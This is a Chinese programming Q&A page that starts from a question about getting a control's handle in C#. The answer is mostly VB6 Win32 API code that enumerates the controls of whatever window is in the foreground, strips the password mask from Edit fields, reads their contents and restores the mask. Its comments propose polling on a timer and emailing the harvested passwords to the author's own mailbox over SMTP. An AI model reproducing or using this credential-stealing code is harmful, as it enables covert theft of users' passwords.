当前位置:编程学习 > C#/ASP.NET >>

c#,获取控件的句柄?,高手入!

利用[DllImport("user32.dll"]
internal static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass,
string lpszWindow);

但不能获取到?

如何才行?

追问:系关于API的,“系统消息”?什么意思?
答案:
这个好像是关闭电脑的API吧  至于你说的句柄问题,好像不是吧,你需要个系统消息,我当时做的时候也差不多。

'缓存子窗体控件句柄
Public ChildHwnd As String

Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

'发送消息
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'主要用来遍历子窗体和子控件句柄
Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
'控件类型
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

'开始遍历
EnumChildWindows me.hWnd, AddressOf EnumChildProc, ByVal 0&

'遍历子窗体控件句柄,这个函数必须用在模块中

Public Function EnumChildProc(ByVal hWnd As Long, ByVal lParam As Long) As Long

ChildHwnd = ChildHwnd & "," & hWnd
EnumChildProc = 1
End Function

'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再

'Dim AllHwnd() As String

'去除多余的无效字符
'ChildHwnd = Mid(ChildHwnd, 2)
'转换成数组
'AllHwnd = Split(ChildHwnd, ",")

'获得所有子句柄后,需要获取其控件类型

'查看窗体/控件类型
Public Function FGetClassName(hWnd As Long) As String
Dim ClassName As String
Dim Ret As Long
'为类名设置缓存区大小
ClassName = Space(256)
'得到GETCLASSNAME返回值
Ret = GetClassName(hWnd, ClassName, 256)
FGetClassName = Left(ClassName, Ret)
End Function

'直接sendmessage 就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性

Public Function GetText(WindowHandle As Long) As String
Dim strBuffer As String, Char As String, lngTextLength As Long
strBuffer = Space(255)
'得到password掩码
Char = SendMessage(WindowHandle, &HD2, 0, 0)
'去除edit控件的passwordchar属性
PostMessage WindowHandle, &HCC, 0, 0
'如果是edit控件则等待消息发送成功
If InStr("Edit", FGetClassName(WindowHandle)) And Char <> "0" Then Sleep (10)
'得到edit控件的text
SendMessage WindowHandle, &HD, 255, ByVal strBuffer
'恢复edit控件的passwordchar属性
PostMessage WindowHandle, &HCC, ByVal Char, 0
GetText = Trim(strBuffer)

End Function

'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了

'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)

'测试了下,我自己机器上,只有qq2007 beta3的密码是读不出来的,用户名是假的

'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了

'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难...

this.Handle;

这个就是当前窗体的句柄了。。。

上一个:懂C#的和GUI控制程序的进
下一个:C#中的TAG有什么作用哦?

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,